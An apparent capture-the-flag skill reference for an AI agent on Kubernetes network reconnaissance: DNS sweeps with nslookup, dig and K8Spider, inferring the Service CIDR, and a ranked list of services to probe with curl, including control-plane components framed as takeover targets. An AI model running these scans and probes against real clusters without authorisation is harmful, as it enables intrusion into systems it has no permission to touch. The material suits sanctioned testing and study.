→ Read references/network-attacks.md
Network Reconnaissance Inside a Kubernetes Cluster
- 攻击大类:C42 网络扫描与枚举
The first step of lateral movement in a K8s cluster is figuring out what other services are running. Because K8s uses DNS for service discovery and every Service and Pod has a predictable DNS name, the whole cluster can be enumerated systematically through DNS reverse lookups.
K8s DNS Naming Rules
| Resource Type | DNS Format | Example |
|---|---|---|
| Service | <svc>.<ns>.svc.cluster.local |
redis.default.svc.cluster.local |
| Pod | <pod-ip-dashed>.<ns>.pod.cluster.local |
10-244-0-5.default.pod.cluster.local |
| Headless Service | <pod-name>.<svc>.<ns>.svc.cluster.local |
web-0.nginx.default.svc.cluster.local |
Note: The DNS suffix is not necessarily
cluster.local; it depends on the cluster configuration. Check thesearchline in/etc/resolv.conf.
SRV Records
The SRV records of a Service expose port information:
nslookup -type=srv <service>.<namespace>.svc.cluster.local
# Example output: service = 0 50 80 svc.ns.svc.cluster.local
# Even without the _proto prefix, all valid ports can be found
Phase 1: Determine the Scan Scope
DNS PTR reverse lookups are per-IP — a /16 range has 65535 IPs, so blind scanning can take tens of minutes. Spend 30 seconds determining the Service CIDR to bring scan time from minutes down to seconds.
First obtain entry point information (ordered by reliability, highest first)
# 1. Environment variables (fastest, almost always present)
echo $KUBERNETES_SERVICE_HOST
env | grep -i service_host
# 2. DNS configuration (the nameserver address is usually inside the Service CIDR)
cat /etc/resolv.conf
# 3. DNS query (the returned API Server IP exposes the CIDR segment)
nslookup kubernetes.default.svc.cluster.local
# 4. Routing table/ARP (auxiliary inference)
cat /etc/hosts && ip route && arp -a 2>/dev/null
# 5. Avoid `ip addr` — virtual NICs injected by sidecars distort the judgement
Infer the Service CIDR from the IP you obtained.
Subnet Range Selection Strategy
⚠️ Never use /8 or larger — 16M+ IPs can never be scanned and would waste the whole round.
Recommended scan granularity:
- Use the
KUBERNETES_SERVICE_HOSTobtained above to determine the Service CIDR - Start with
/24(256 IPs, completes in seconds); if there are no results, expand to/16(65K IPs, minutes) - Common Service CIDRs:
10.96.0.0/16,10.100.0.0/16,10.43.0.0/16(K3s) - If
KUBERNETES_SERVICE_HOSTis10.96.0.1, scan10.96.0.0/16
Phase 2: Batch DNS Scanning
Using K8Spider (recommended)
# PTR reverse lookups + SRV records + multithreading, all scanning in one command
k8spider scan -subnet 10.100.0.0/24
# Larger ranges
k8spider scan -subnet 10.96.0.0/12 # default Service CIDR
k8spider scan -subnet 10.244.0.0/16 # Pod CIDR (Flannel default)
k8spider scan -subnet 10.42.0.0/16 # Pod CIDR (K3s default)
Alternative: Some CTF environments ship
dnscanpreinstalled (usage:dnscan -subnet <cidr>). It is functionally similar but does not support SRV record enumeration. Prefer K8Spider.
Manual Method When No Tool Is Available
# PTR reverse lookups (one IP at a time)
for i in $(seq 1 254); do
nslookup 10.100.0.$i 2>/dev/null | grep -v "NXDOMAIN" | grep "name =" &
done; wait
# AXFR zone transfer (if CoreDNS allows it)
dig axfr cluster.local @$(grep nameserver /etc/resolv.conf | awk '{print $2}')
# Wildcard DNS (deprecated in newer CoreDNS, but may still work on older versions)
nslookup any.any.svc.cluster.local
Phase 3: Exploit the Discovered Services
After discovering services, rank them by attack value:
- Direct flag/data services (names containing flag, secret, internal) → curl them immediately
- Cluster control plane (API Server 6443, etcd 2379, kubelet 10250) → unauthenticated access = cluster takeover
- Policy/Webhook services (kyverno-svc, gatekeeper) → can extract injectable Secrets
- Monitoring/operations (prometheus 9090, grafana 3000, dashboard 8443) → information disclosure + credentials
- Business services (other custom services) → judge by name and port
# Access the discovered services
curl <service>.<namespace>.svc.cluster.local
curl <service>.<namespace>.svc.cluster.local:<port>
# Try multiple paths against high-value targets
curl -s http://<svc>:<port>/
curl -s http://<svc>:<port>/flag
curl -s http://<svc>:<port>/api/v1
curl -sk https://<svc>:<port>/
Related Skills
After discovering services, load the corresponding skill based on the target type:
- Istio/Envoy related services →
Skill(skill="k8s-istio-bypass") - Kyverno/OPA Webhook →
Skill(skill="k8s-webhook-abuse") - NFS/EFS storage →
Skill(skill="k8s-storage-exploit") - API Server/Kubelet →
Skill(skill="k8s-container-escape") - Detailed K8Spider usage →
Skill(skill="k8spider")
Tool Quick Reference
| Tool | Purpose | Installation |
|---|---|---|
| K8Spider | Batch K8s DNS scanning (PTR+SRV+AXFR+multithreading) | go install github.com/Esonhugh/k8spider@latest |
| nslookup/dig | Manual DNS queries | built into the system |
| CDK | Container penetration toolkit (includes service discovery) | installed via f8x |